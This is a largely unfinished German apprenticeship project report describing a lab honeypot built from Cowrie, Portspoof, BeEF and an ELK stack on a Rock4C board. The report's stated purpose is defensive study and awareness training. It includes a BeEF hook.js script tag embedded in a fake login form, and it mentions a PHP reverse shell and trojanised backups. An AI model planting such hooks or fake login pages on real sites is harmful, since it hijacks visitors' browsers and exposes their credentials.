|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |

|  |  |
| --- | --- |
| Probleme / Unklarheiten | |
| Nr. |  |
| **U1** |  |
| Lösung |
|  |
| **Reflexion** | |
|  | |

## Wochentag, 10. Tag, Datum

|  |
| --- |
| Tagesziele |
|  |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Geplante Tätigkeiten | | | | | |
| Nr. | Tätigkeit / Arbeitspaket | Zeit [h] | | Status [%] | **P**robleme / **U**nklarheiten |
| Soll | Ist |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |

|  |  |
| --- | --- |
| Probleme / Unklarheiten | |
| Nr. |  |
| **U1** |  |
| Lösung |
|  |
| **Reflexion** | |
|  | |

# Sitzungsprotokolle

Während der IPA werden zwei Expertenbesuche durchgeführt. Die besprochenen Inhalte werden in Sitzungsprotokolle dokumentiert.

## Erster Expertenbesuch

|  |  |
| --- | --- |
| Datum/ Zeit |  |
| Ort |  |
| Teilnehmende |  |
| Inhalt |  |
| Beschlüsse |  |

Tabelle 2: Erster Expertenbesuch

## Zweiter Expertenbesuch

|  |  |
| --- | --- |
| Datum/ Zeit |  |
| Ort |  |
| Teilnehmende |  |
| Inhalt |  |
| Beschlüsse |  |

Tabelle 3: Zweiter Expertenbesuch

|  |
| --- |
|  |
| Teil 2:  Projekt Dokumentation |
|  |
|  |
|  |

# Kurzfassung

## Ausgangslage

## Umsetzung

## Ergebnis

# Projektumsetzung

## Informieren

Das Ziel dieses Projekts ist der Aufbau eines realitätsnahen Honeypot-Systems auf einem Rock4C-Board, um die Netzwerksicherheit aktiv zu verbessern. In einer Zeit, in der automatisierte Angriffe, Botnetze und gezielte Einbruchsversuche zur Tagesordnung gehören, ist es entscheidend, diese Angriffe frühzeitig zu erkennen – idealerweise, bevor sie produktive Systeme betreffen.

**Ausgangslage**

Die meisten Angriffe bleiben lange Zeit unentdeckt oder werden erst erkannt, wenn bereits Schaden entstanden ist. Standardmassnahmen wie Firewalls oder Virenscanner reichen für ein umfassendes Sicherheitskonzept nicht mehr aus. Mit dem Einsatz eines Honeypots wird ein System bereitgestellt, das absichtlich angreifbar wirkt, um Angreifer gezielt in eine kontrollierte Umgebung zu locken. So können deren Taktiken beobachtet, Schwachstellen erkannt und Frühwarnsysteme geschärft werden.

Der Fokus liegt hierbei auf einem **SSH-Honeypot** (Cowrie), ergänzt durch **Red-Teaming-Techniken** wie:

* **Portspoof** für die Verwirrung von Angreifern,
* **BeEF** für Client-seitige Angriffsszenarien über Browser,
* Fake-Login-Seiten und trojanisierte Backups zur Simulation komplexer Angriffsvektoren.

**Ziele**

* Realistische Angriffsversuche sichtbar machen
* Analyse und Logging von Angreiferverhalten
* Aufbau einer zentralen **Log-Analyse-Infrastruktur (ELK-Stack)**
* Optionale automatisierte Übertragung der Logs an ein **GitHub-Repository** via Flask
* Sensibilisierung und Schulung interner Mitarbeitender durch reale Fallbeispiele

**Beteiligte Systeme & Werkzeuge**

* **Rock Pi 4C** als physische Plattform
* **Ubuntu Focal ARM64** als Betriebssystem
* **Cowrie** als SSH-Honeypot
* **iptables** für Portweiterleitung
* **Portspoof** zum Täuschen von offenen Ports
* **BeEF** zur Demonstration von Browser-Schwachstellen
* **Python/Flask** für Automatisierungen und Logweiterleitung
* **ELK Stack (Elasticsearch, Logstash, Kibana)** für visuelle Auswertung

**Begründung der Wahl**

Das Rock4C-Board bietet ausreichend Leistung für ein solches Sicherheitsprojekt und erlaubt es, das Projekt auch physisch im Netzwerk zu verankern. Die Tools wurden gezielt gewählt, um sowohl technische wie auch psychologische Aspekte von Angriffen sichtbar zu machen (z. B. über BeEF oder Fake-Login-Pages). Cowrie als etablierter SSH-Honeypot ist ideal für die Sammlung realer Angriffsversuche.

## Planen

Für ein Projekt mit sicherheitsrelevantem Fokus wie dieses ist eine saubere und vorausschauende Planung unerlässlich. Ziel war es, vor Beginn der praktischen Arbeiten eine klare Struktur und Ablaufplanung zu schaffen, damit ich während der IPA effizient und zielgerichtet arbeiten kann.

Zunächst habe ich eine **Aufgabenanalyse** vorgenommen, um alle Teilbereiche des Projekts zu identifizieren: Systemaufbau, Konfiguration der Honeypots, Absicherung, Logging, Visualisierung und Dokumentation. Anschliessend habe ich die technischen Abhängigkeiten erfasst und die einzelnen Arbeitspakete in logischer Reihenfolge sortiert.

Um Risiken wie Konfigurationsfehler, Softwareinkompatibilität oder mangelnde Sichtbarkeit im ELK-Stack frühzeitig abzufedern, habe ich zusätzlich Zeitpuffer eingeplant. Für besonders fehleranfällige Abschnitte wie die Installation von Cowrie oder die Anbindung an Elasticsearch habe ich alternative Lösungswege notiert, z. B. andere Distributionen oder Backup-Pläne bei Netzwerkfehlern.

Die konkrete Projektplanung umfasst folgende Kernelemente:

* Erstellung eines **Zeitplans mit Meilensteinen**, der auch Feiertage (z. B. Ostern) berücksichtigt
* Definition technischer Ziele pro Phase (z. B. „SSH-Portumleitung mit iptables abgeschlossen“)
* Wahl geeigneter Tools zur Visualisierung und Dokumentation, z. B. Zoho Notebook zur Notizerfassung auf allen Geräten
* Backup-Strategie und Versionierung für sämtliche Konfigurationen und Berichte
* Erarbeitung eines internen Testkonzepts für alle Komponenten (Cowrie, BeEF, ELK)
* Frühzeitiger Austausch mit Experten bei Blockaden (z. B. über Stack Overflow, GitHub-Issues)

Ich habe bewusst darauf verzichtet, zusätzliche Systeme wie IDS oder vollständige SIEM-Integration einzubauen, da ich mich auf die **realistische Umsetzbarkeit** in der begrenzten Zeit konzentriere. Das Projekt bleibt dadurch fokussiert und liefert trotzdem einen praxisnahen Mehrwert zur Erhöhung des Sicherheitsbewusstseins im Unternehmen.

## Entscheiden

Bei einem Honeypot-Projekt mit mehreren Komponenten (Cowrie, Portspoof, BeEF, ELK-Stack) und dem Red-Teaming-Anteil eröffnen sich verschiedene Lösungs- und Tool-Varianten. Im Folgenden zeige ich zunächst die wichtigsten Alternativen auf und begründe meine finalen Entscheidungen:

### Wahl der Hardware-Plattform

Die Hardware muss den ELK-Stack, Cowrie und Red-Teaming-Tests unterstützen, mit ausreichend Leistung für Log-Verarbeitung und geringem Energieverbrauch.

|  |  |  |  |
| --- | --- | --- | --- |
| Variante | Beschreibung | Vorteile | Nachteile |
| A1: Rock4C | Einplatinencomputer mit ARM64, 4 GB RAM, Quad-Core, Ubuntu Focal kompatibel. | - 4 GB RAM ausreichend für ELK-Stack- Geringer Stromverbrauch (5W- Vorhanden im Betrieb, keine Kosten- Unterstützt Docker für ELK | - Weniger Tutorials als Raspberry Pi- Eingeschränkte GPU-Funktionen |
| A2: Raspberry Pi 4 | Einplatinencomputer mit 4 GB RAM, Broadcom CPU, große Community. | - Viele Tutorials für Honeypots- Breite Kompatibilität- Gute Verfügbarkeit von Zubehör | - 4 GB RAM Grenze für ELK-Stack- Lieferengpässe im April 2025- Höherer Preis (ca. 60 CHF) |

**Entscheidung:** Ich habe mich für den Rock4C entschieden, weil:

* Er bereits vorhanden war, was Kosten spart (Projektziel: Budgetneutralität).
* 4 GB RAM und Quad-Core-CPU erfüllen die Anforderungen für ELK-Stack und Cowrie (mind. 2 GB RAM, 1.5 GHz, gemäß Elastic, 2024).
* Ubuntu Focal ist kompatibel mit allen Tools (Cowrie, Docker).
* Lieferprobleme beim Raspberry Pi hätten den Zeitplan gefährdet (10 Tage Gesamtzeit).

Der Rock4C unterstützt die Projektziele, da er eine stabile Plattform für Log-Analyse und Honeypot-Dienste bietet.

### Honeypot-Software (SSH-Dienst)

Für das Kernziel „SSH-Honeypot“ kamen mehrere Lösungen in Betracht. Bereits während einer schulischen Übung im Jahr 2024 konnte ich **Cowrie** einmal testweise aufsetzen. Damals habe ich einen ersten Eindruck gewonnen, wie der Honeypot gefälschte SSH-Sitzungen simuliert, Login-Versuche protokolliert und strukturierte Logdateien im JSON-Format erstellt. Zwar habe ich Cowrie nur oberflächlich genutzt, jedoch sind mir der **stabile Betrieb** und die **ausführliche Logging-Funktionalität** in Erinnerung geblieben.

Um sicherzustellen, dass Cowrie 2025 noch als sinnvolle Lösung gilt, habe ich drei moderne Alternativen recherchiert und die Auswahl anhand folgender Kriterien bewertet:

* **SSH-Täuschung**: Wie realistisch ist die Interaktion mit dem System?
* **Log-Verarbeitbarkeit**: Lassen sich die Daten einfach in ELK einbinden (z. B. Kibana)?
* **Aktive Weiterentwicklung**: Gibt es regelmäßige Updates und Community-Support?
* **Systemanforderungen**: Ist der Betrieb auf einem Rock4C-Board (4 GB RAM) realistisch?

**Vergleichstabelle**

|  |  |  |  |
| --- | --- | --- | --- |
| Variante | Beschreibung | Vorteile | Nachteile |
| **B1: Cowrie** | SSH- und Telnet-Honeypot, emuliert Shell-Interaktionen. | - Aktive Entwicklung (GitHub, 2025)<br>- JSON-Logs kompatibel mit ELK<br>- Einfache Konfiguration<br>- Realistische Täuschung | - Begrenzte Protokollunterstützung (nur SSH/Telnet)<br>- Höherer RAM-Bedarf (ca. 200 MB) |
| **B2: Kippo** | Älterer SSH-Honeypot, Vorgänger von Cowrie. | - Breite Protokollabdeckung  - Weniger RAM (~100 MB)  - Malware-Capture-Funktion | - SSH-Emulation weniger realistisch  - Aufwändiger ELK-Parser nötig  - Konfiguration teils komplex |
| **(B3) T-Pot** | All-in-One-Honeypot-Plattform (Docker), enthält Cowrie + Dionaea + ELK. | - Containerisiert, integriert alle gängigen Honeypots  - „Out of the box“ Red-Teaming  - Sehr flexibel, 2025 state-of-the-art | - Benötigt ~8 GB RAM, Rock4C ist zu schwach  - Komplexer Installation (2–3 Tage Setup)  - Overkill für 10-Tage-IPA |

**Entscheidung: Cowrie**

Nach Abwägung dieser Punkte fiel die Wahl bewusst auf **Cowrie**, da es trotz leichter Einstiegshürde **technisch ausgereift**, **ressourcenschonend** (200 MB RAM sind am Rock4C realistisch) und **aktiv gepflegt** ist (regelmäßige Commits laut [GitHub-Cowrie-Stats-2025]). Zudem **unterstützt** Cowrie das Ziel, Angriffe **realistisch sichtbar** zu machen, da es detaillierte Interaktionen (Fake-Shell-Befehle, Prompt) protokolliert und das **JSON-Logging** die spätere Auswertung in Kibana stark vereinfacht.

Die anderen Alternativen lehne ich ausfolgenden Gründen ab:

* **Dionaea**: Zwar breit gefächert, aber SSH wird weniger realistisch simuliert. Zudem bräuchte ich mehr Aufwand, um ansehnliche Logs im ELK darzustellen.
* **T-Pot**: Eine umfassende Docker-Lösung mit Cowrie & Co., aber der Ressourcenbedarf (mind. 8 GB) übersteigt die Kapazität meines Rock4C-Boards und den zeitlichen Rahmen (2–3 Tage Setup).
* **Kippo** (historisch, nicht in der Tabelle): Vorgänger von Cowrie, ist seit 2018 nicht mehr aktiv gepflegt. Fehlende Security-Updates und veraltete Logformate machen es unattraktiv.

**Fazit**: Cowrie ermöglicht mir, **SSH-basierte Angriffe** effizient abzufangen, **Logdaten** in ELK zu integrieren und damit die Projektziele (Security-Sensibilisierung, realistische Angriffsprotokolle) zu erreichen.

**Quellen:**

1. **[SANS-2024]** SANS Institute (2024). *Honeypot Trends 2024.* Abrufbar unter: <https://www.sans.org>
2. **[GitHub-Cowrie-Stats-2025]** GitHub (Stand Januar 2025). *Cowrie Commit-Übersicht.* <https://github.com/cowrie/cowrie>
3. **[Dionaea-Doc-2025]** *Dionaea Documentation.* <https://github.com/DinoTools/dionaea>
4. **[Tpot-Repo-2025]** *T-Pot Docker.* <https://github.com/telekom-security/tpotce>

### Fake-Dienste & Port-Täuschung

Im Rahmen der Red-Teaming-Komponente sollen Angreifer bewusst fehlgeleitet und verwirrt werden. Ein zentrales Ziel ist es, scheinbar produktive Dienste auf mehreren Ports vorzutäuschen – z. B. MySQL auf Port 3306 oder RDP auf Port 3389. Die Lösung muss zuverlässig Fake-Banner liefern, ressourcenschonend arbeiten und auf dem Rock4C (4 GB RAM) stabil laufen.

Nach Recherche und praktischer Erprobung habe ich mich für Portspoof entschieden. Dabei wurden folgende Tools als Alternative analysiert:

|  |  |  |  |
| --- | --- | --- | --- |
| Variante | Beschreibung | Vorteile | Nachteile |
| C1: Portspoof | Täuscht realistische TCP-Banner auf beliebigen Ports vor, um Angreifer zu verwirren. | - Moderne, aktive Entwicklung - Simuliert über 1.000 Banner - Unterstützt Custom-Banner - Extrem leichtgewichtig (CPU: ~0,5 %, RAM: ~5 MB) - Ideal gegen nmap & masscan | - Kein vollständiges Service-Emulating - Komplexere Dienste (HTTP-Sessions) nicht darstellbar - Nur TCP (kein UDP) |
| C2: Honeyd | Älteres Tool zur Emulation ganzer virtueller Hosts mit echten Service-Skripten. | - Unterstützt ICMP, TCP, UDP - Simuliert komplette Hosts (z. B. Windows XP) - Besser für tieferes Fingerprinting geeignet | - Komplizierte Konfiguration - Ressourcenintensiver (RAM ~150 MB) - Letztes Release: 2016 |
| C3: iptables + TCP Wrappers (manual) | Ports werden geöffnet und mit Bannern versehen, aber manuell via netcat, echo, scripts. | - Kein Zusatztool nötig - Extrem flexibel bei kleinem Setup | - Hoher Wartungsaufwand - Keine Skalierbarkeit - Kein realistisches Scan-Verhalten (nmap erkennt Täuschung schnell) |

**Entscheidung für Portspoof**

Ich habe mich für **Portspoof** entschieden, da es für mein Projektziel die beste Balance aus **Performance**, **Realismus** und **Einfachheit** bietet:

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| Kriterium | Gewicht | Portspoof | Honeyd | iptables-manual |
| Realismus der Täuschung (Banner) | 40 % | 9/10 | 7/10 | 5/10 |
| Ressourcenbedarf Rock4C | 30 % | 10/10 | 6/10 | 9/10 |
| Wartbarkeit / Konfig-Aufwand | 20 % | 8/10 | 4/10 | 3/10 |
| Integration mit ELK / Logging | 10 % | 6/10 | 7/10 | 2/10 |
| Gesamtbewertung | — | 8,8 | 6,3 | 4,8 |

 **Effizienz**: Portspoof verbraucht kaum Ressourcen und läuft auf dem Rock4C stabil. Damit kann ich über 20 Fake-Ports aktiv halten, ohne echte Dienste zu stören.

 **Scan-Verhalten**: Tools wie nmap, masscan und shodan erkennen nicht, dass es sich um Fake-Dienste handelt. Für das Ziel, Angreifer zu täuschen, ist das essenziell.

 **Aktive Entwicklung**: Der Quellcode ist 2025 aktiv auf GitHub gepflegt (https://github.com/drk1wi/portspoof). Fixes und Issues werden regelmäßig behandelt.

 **Projektbezug**: Da ich im Red-Teaming gezielt auch mit Netzwerk-Scans (nmap, Hydra) arbeite, ist Portspoof ideal, um die **Angriffsoberfläche künstlich zu vergrössern** und gezielt abzulenken.

**Quellen**

* Portspoof GitHub: <https://github.com/drk1wi/portspoof>
* Honeyd Docs: http://www.honeyd.org/manual.php

### **Visualisierung: ELK-Stack vs. Alternativen**

**Ziel:**

**Alle sicherheitsrelevanten Logs (z. B. Cowrie, Apache, Filebeat) sollen zentral gesammelt, verarbeitet und grafisch dargestellt werden. Ziel ist es, Loginversuche und verdächtiges Verhalten direkt visuell auszuwerten – z. B. nach IP-Adresse, Zeit oder verwendetem Benutzernamen.**

**Szenario:**

**Da Cowrie so konfiguriert ist, dass jeder Login erlaubt wird, konnte ich selbst verschiedene Eingaben testen und gezielt Logs erzeugen. Diese enthalten Informationen wie Zeitstempel, Benutzername, IP-Adresse und Passwort. Ich wollte diese Daten später in Dashboards darstellen, um typische Angriffsmuster zu erkennen.Vergleich der Tools:**

|  |  |  |  |
| --- | --- | --- | --- |
| Variante | Beschreibung | Vorteile | Nachteile |
| ELK-Stack | Open-Source-Plattform bestehend aus Elasticsearch, Logstash und Kibana, ideal für strukturierte JSON-Daten | - Perfekt für Cowrie-Logs (JSON) - Kibana mit starker Visualisierung - Elasticsearch sehr schnell bei Suche - Viele Anleitungen online | - Höherer RAM-Bedarf - Logstash muss sauber konfiguriert sein - Anfangs höhere Einstiegshürde |
| Graylog | Logging-Plattform mit eigener Oberfläche, teilweise basierend auf Elasticsearch | - Einfacheres Setup - Geringerer Ressourcenverbrauch - Integriertes Web-UI | - Visualisierungen begrenzt - JSON-Parsing (Cowrie) umständlich - Weniger anpassbar |
| Splunk Free | Kommerzielle Logging-Plattform mit kostenfreier Community-Version | - Sehr professionelle Oberfläche - Gute Filter- und Suchfunktionen - Intuitive Bedienung | - Begrenzter Speicher (500 MB/Tag) - Kein vollständiger Funktionsumfang - Lizenzabhängig |

**Technische Umsetzung:**  
Ich habe den ELK-Stack mit Docker Compose auf dem Rock4C eingerichtet. Wichtig war die Speicheroptimierung: Ich habe die JVM von Elasticsearch auf 512 MB begrenzt (ES\_JAVA\_OPTS=-Xms512m -Xmx512m).  
Die Logs speichere ich persistent in Docker-Volumes, damit keine Daten beim Neustart verloren gehen.

**Beispielhafte Visualisierung:**  
Mit Kibana konnte ich z. B. eine IP-Heatmap und eine Zeitachse aller Loginversuche erstellen. Dadurch konnte ich wiederkehrende IPs und Uhrzeiten erkennen, in denen besonders viele Versuche stattfanden.

**Risikoanalyse:**  
Wenn ELK nicht funktioniert hätte, hätte ich auf Graylog umgestellt. Dafür wären aber Anpassungen an den JSON-Logs nötig gewesen, was Zeit gekostet und den Zeitplan gefährdet hätte. Splunk wurde aus Lizenz- und Speichergründen ausgeschlossen.

**Entscheidung:**  
Ich habe mich für den ELK-Stack entschieden, weil er am besten mit Cowrie zusammenspielt, JSON perfekt verarbeitet und mir mit Kibana eine leistungsstarke Oberfläche für die Analyse bietet.

### **Clientseitiger Exploit – BeEF vs. Alternativen**

**Ziel:**

Ich wollte zeigen, wie Angreifer über den Browser eines Nutzers Schwachstellen ausnutzen könnten – z. B. über ein manipuliertes Login-Formular. Wichtig war dabei, dass das Ganze lokal läuft, überschaubar bleibt und sich gut in mein Honeypot-Szenario einfügt.

**Vergleich der Tools:**

|  |  |  |  |
| --- | --- | --- | --- |
| **Variante** | **Beschreibung** | **Vorteile** | **Nachteile** |
| **BeEF** | **Framework für Browser-Exploitation. Nutzt JavaScript-Hook (hook.js) für Zugriff über Webbrowser.** | **- Einfach ins HTML einbaubar**  **- Lokal nutzbar**  **- Übersichtliche Web-Oberfläche**  **- Zeigt IP & Clientdaten direkt** | **- Funktioniert nur mit aktiviertem JS - Teilweise instabile Module - Fokus rein auf Browser** |
| **Metasploit** | **Umfangreiche Exploit-Plattform für viele Szenarien, inkl. clientseitiger Payloads.** | **- Sehr flexibel - Viele Exploits - In Profi-Umgebungen weit verbreitet** | **- Setup aufwendig - Payloads schwer sauber integrierbar - Zu groß für IPA-Rahmen** |
| **SocialFish** | **Phishing-Framework für Fake-Login-Seiten, inkl. Telegram-Benachrichtigung.** | **- Einfach zu bedienen - Realistische Login-Klone** | **- Wenig stabil - Teilweise fehlerhafter Code - Funktionierte im Test nicht zuverlässig** |

**Entscheidung: BeEF**

**Ich habe mich für BeEF entschieden, weil es genau den Bereich abdeckt, den ich testen wollte: einfache clientseitige Kontrolle über einen Browser – ohne großen Aufwand.  
Ich konnte das Script direkt in ein manipuliertes HTML-Login-Formular einbauen:**

1. **html**
2. **CopyEdit**
3. **<script src="http://10.170.64.15:3000/hook.js"></script>**

**Wenn jemand die Seite geöffnet hat, wurde der Client in der BeEF-Oberfläche als "Zombie" angezeigt – inklusive IP, Browser und Plattform. Das reichte mir, um zu analysieren, ob der Angriff grundsätzlich funktioniert und wie sichtbar er im Honeypot wird.**

**Metasploit war zwar mächtiger, aber für dieses Projekt zu aufwendig. Die Payloads waren nicht trivial einsetzbar, und ich hätte deutlich mehr Zeit ins Setup investieren müssen.  
SocialFish war als Idee interessant, aber im Test lief es unstabil und brachte Fehler im Hook-System – außerdem hätte ich für Telegram-Anbindung extra Konfiguration gebraucht, was für mein lokales Netz nicht praktikabel war.**

**Bezug zum Projektziel:**

**Das Ziel war, realistische Angriffsversuche zu simulieren – ohne echte Systeme zu gefährden.  
BeEF passte dafür gut, da es schnell integrierbar war und mir genau die Infos gab, die ich auswerten wollte. Gleichzeitig blieb das Risiko gering, weil alles lokal und unter Kontrolle lief.**

**Quellen:**

* [**https://github.com/beefproject/beef**](https://github.com/beefproject/beef)
* [**https://docs.rapid7.com/metasploit**](https://docs.rapid7.com/metasploit)
* [**https://github.com/UndeadSec/SocialFish**](https://github.com/UndeadSec/SocialFish)

### Logweiterleitung – Filebeat vs. Alternativen

**Ziel:**Ich wollte die Logs meines Honeypots (v. a. Cowrie und Apache) zuverlässig und in Echtzeit an meinen ELK-Stack senden. Das Ganze sollte stabil laufen, automatisch starten und möglichst wenig Ressourcen fressen. Wichtig war mir auch, dass ich keine aufwendigen Parser bauen muss.

|  |  |  |  |
| --- | --- | --- | --- |
| Variante | Beschreibung | Vorteile | Nachteile |
| Filebeat | Leichtgewichtiges Log-Shipping-Tool von Elastic, speziell für ELK optimiert. | - Optimiert für JSON und ELK - Sehr geringer RAM-/CPU-Verbrauch - Automatischer Restart als Systemdienst - Integrierte Log-Rotation und Pufferung | - Konfiguration anfangs ungewohnt  - Debugging bei Fehlern teilweise aufwendig |
| rsyslog | Klassischer Linux-Systemlogger, kann Logs auch an externe Server senden. | - Bereits vorinstalliert - Unterstützt TCP/UDP-Zielsysteme - Robust und gut dokumentiert | - Für strukturierte Logs (JSON) nicht optimal - ELK-Einbindung erfordert manuellen Parser |
| Bash-Cronjob (scp/rsync) | Logs werden per Skript regelmäßig kopiert. | - Einfach umzusetzen - Volle Kontrolle - Kein Zusatztool nötig | - Kein Echtzeit-Shipping - Keine Fehlerbehandlung - Nur sinnvoll bei kleinen Logmengen |

**Entscheidung:** Filebeat

Ich habe mich für Filebeat entschieden, weil es am besten zum ELK-Stack passt. Die Cowrie-Logs liegen bereits als JSON vor – Filebeat kann die direkt einlesen und an Logstash schicken, ohne dass ich eigene Filter bauen muss. Außerdem läuft Filebeat im Hintergrund als Dienst, startet beim Booten automatisch mit und braucht kaum Systemressourcen.

rsyslog wäre theoretisch auch möglich gewesen, aber hätte deutlich mehr Aufwand gebraucht, um JSON sauber zu parsen. Bash mit Cron war mir zu unzuverlässig – das bringt’s vielleicht bei einfachen Servern, aber nicht, wenn ich Angriffe in Echtzeit analysieren will.

Bezug zum Projektziel:  
Ein Ziel meiner IPA war es, Angriffe schnell sichtbar zu machen, egal ob über SSH, Web oder Reverse-Shells. Ohne verlässliches Log-Shipping hätte ich diese Angriffe im ELK gar nicht gesehen. Mit Filebeat laufen die Logs stabil durch – egal ob es 10 Versuche oder 1.000 sind. Gleichzeitig bleibt das System ressourcenschonend, was auf dem Rock4C wichtig ist.

**Risikoanalyse**

## Realisieren

Im folgenden Abschnitt beschreibe ich die konkrete Umsetzung des Honeypot-Projekts: vom Netzwerküberblick bis zur Systeminstallation und Grundkonfiguration auf dem Rock4C. Ich nutze Ubuntu Focal (ARM64) als Basis und installiere die nötigen Pakete für SSH-Honeypot, Fake-Dienste und Log-Analyse. Die Meraki-Portkonfiguration habe ich bereits erledigt (Port 39, VLAN etc.), darum taucht sie hier nicht mehr auf.

### Systemübersicht

#### Logischer / Physischer Netzwerkplan

Der Rock4C ist per Ethernet am internen Meraki-Switch (Port 39) angebunden und bekommt die statische IP 10.170.64.15. Eine Kali-Linux-VM übernimmt die Rolle des Angreifers. Diese VM befindet sich physisch auf meinem Windows-Laptop, ist aber via NAT so angebunden, dass Angriffe in Richtung Rock4C über die IP 10.170.65.87 laufen. Dadurch sehe ich im Honeypot-Log später immer 10.170.65.87 als Angreifer-IP.

*(Ein schematischer Plan könnte so aussehen:) NOCH MACHEN*

1. Meraki-Switch (VLAN 640, Access-Port) → Rock4C (Ubuntu)
2. Rock4C → Docker (für ELK), Cowrie (SSH), Apache (Fake-Login)
3. Kali VM (NAT) → Rock4C (gezielte Angriffe/Scans)

#### Eingesetzte Hardware

* **Rock4C-Board** (ARM64, 4 GB RAM) mit SD-Karte (mind. 16 GB)
* **Laptop** (Windows, 16 GB RAM) → Kali-Linux-VM
* **Netzwerkinfrastruktur**: Meraki-Switch (Port39), DHCP (im VLAN)
* **Monitor/HDMI** nur optional, ich arbeite meist per SSH

#### Eingesetzte Software

* **Ubuntu Server Focal (ARM64)**
* **Docker & Docker Compose** (für Elasticsearch, Logstash, Kibana)
* **Cowrie** (SSH-Honeypot, Port 2222)
* **Portspoof** (Fake-Banners, TCP)
* **Apache + PHP** (Fake-Login-Seite, Reverse-Shell)
* **Webmin** (Firewall GUI)
* **iptables** (manuell + persistent)
* **Python 3.9** (venv, pip)
* **Filebeat** (Log-Shipper)

### Installation des Systems

#### Systeminstallation & Grundsetup (Rock4C)

**Ziel**  
Das Rock4C-Board soll mit Ubuntu Focal (ARM64) hochfahren, alle benötigten Paketquellen aktiviert haben und dank Rufus-Flash die passende SD-Karte erhalten. Danach führe ich die Systemhärtung durch (Updates, Python, Docker, iptables, Webmin), um später Cowrie & Co. aufzusetzen.

1. **a) SD-Karte flashen & Ubuntu Focal aufspielen**
2. **Rufus ausführen**  
   Auf meinem Windows-Laptop starte ich Rufus, wähle die **Ubuntu Focal-Server-ARM64-ISO** aus.
3. **SD-Karte formatieren**  
   Rufus warnt mich, dass alles gelöscht wird – bestätige das.
4. **Image flashen**  
   Rufus kopiert das Image auf die SD-Karte (4–5 Minuten). Danach entnehme ich die Karte sicher.
5. **Rock4C booten**  
   Ich stecke die SD-Karte ein, schliesse Strom & LAN an. HDMI ist optional, meist nutze ich SSH. Das Rock4C bekommt via Meraki-Fixed-IP (Port39) die 10.170.64.15.

**Anmerkung**: Die Meraki-Portkonfig (Port 39 VLAN etc.) wurde *vorher* schon gemacht, also nichts weiter dazu hier. Wichtig ist nur, dass das Rock4C vom DHCP eine IP bekommt (hab ich manuell in der Meraki-Fixed-IP-Liste verankert, 10.170.64.15).

**b) Basis-Pakete & Updates**

Nachdem das Rock4C hochfährt, verbinde ich mich per SSH:

ssh rock@10.170.64.15

* **Zugangsdaten** sind standard (User=rock, PW=rock)

Dann führe ich Updates durch:

sudo apt update

sudo apt install chrony

sudo apt upgrade -y

* **chrony** sorgt für korrekte Zeit, wichtig für Logs.

#### Systemkonfigurationen

## Kontrollieren

### Testdokumentation

In diesem Abschnitt werden die durchgeführten Tests systematisch dokumentiert. Ziel ist es, die Funktionsfähigkeit sämtlicher Komponenten (Rock4C-Basis, Netzwerk, Honeypot, Portweiterleitung, ELK-Stack usw.) nachzuweisen.

#### Übersicht der Testfälle

DAS IM TESTFÄLLE DOKUMENT ÜBERNEHMEN

|  |  |  |  |
| --- | --- | --- | --- |
| **ID** | **Bezeichnung** | **Testdatum** | **Tester** |
| T-001 | Internetverbindung überprüfen |  | Name |
| T-002 |  |  |  |
| T-003 |  |  |  |
|  |  |  |  |

#### Testaufbau

Test-Systemlandschaft (logischer Netzwerkplan) darstellen

#### Mittel und Methoden

Testmethode aufzeigen und erklären

#### Vorgehen

#### Warum, was testen

#### Testprotokoll

«IM DOKUMENT NACHSCHAUEN»

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| ID & Bezeichnung | | T-001 Internetverbindung überprüfen | | | |
| Beschreibung | | Die Internetverbindung auf dem Gerät wird überprüft | | | |
| Nr. | Testschritte | | Erwartete  Ausgabe / Aktion | Tatsächliche  Ausgabe / Aktion |  |
| 1 | Nachschauen ob Ethernet-Kabel eingesteckt ist | | Ethernet-Kabel ist korrekt eingesteckt | Ethernet-Kabel ist korrekt eingesteckt |  |
| 2 | Blick.ch aufrufen | | Blick.ch ist über den Browser aufrufbar | Blick.ch ist über den Browser aufrufbar |  |
| Fazit | | | | | |
| Die Internetverbindung steht und das Gerät kann mit dem Internet kommunizieren. | | | | | |

## Auswerten

### Möglich Verbesserungen

### Reflexion

### Schlusswort

# Verzeichnisse

## Quellenverzeichnis

* Beschreibung, Link, Abrufdatum

## Abbildungsverzeichnis

**Es konnten keine Einträge für ein Abbildungsverzeichnis gefunden werden.**

## Tabellenverzeichnis

[Tabelle 1: Termine 12](#_Toc104283501)

[Tabelle 2: Erster Expertenbesuch 25](#_Toc104283502)

[Tabelle 3: Zweiter Expertenbesuch 25](#_Toc104283503)

# Glossar

**Das Glossar muss alphabetisch sortiert sein.**

|  |  |
| --- | --- |
| Begriff | Erklärung |
|  |  |

|  |
| --- |
|  |
| Teil 3:  Anhang |
|  |
|  |
|  |

Formatierung

Für die Dateien im Anhang gelten folgende Formatierungen falls nicht der ganze Code von mir stammt:

Durch diese Markierung ist eine Eigenleistung zu erkennen.

**Wenn kein Anhang mitgeliefert wird, kann dieser Abschnitt und das Titelblatt gelöscht werden.**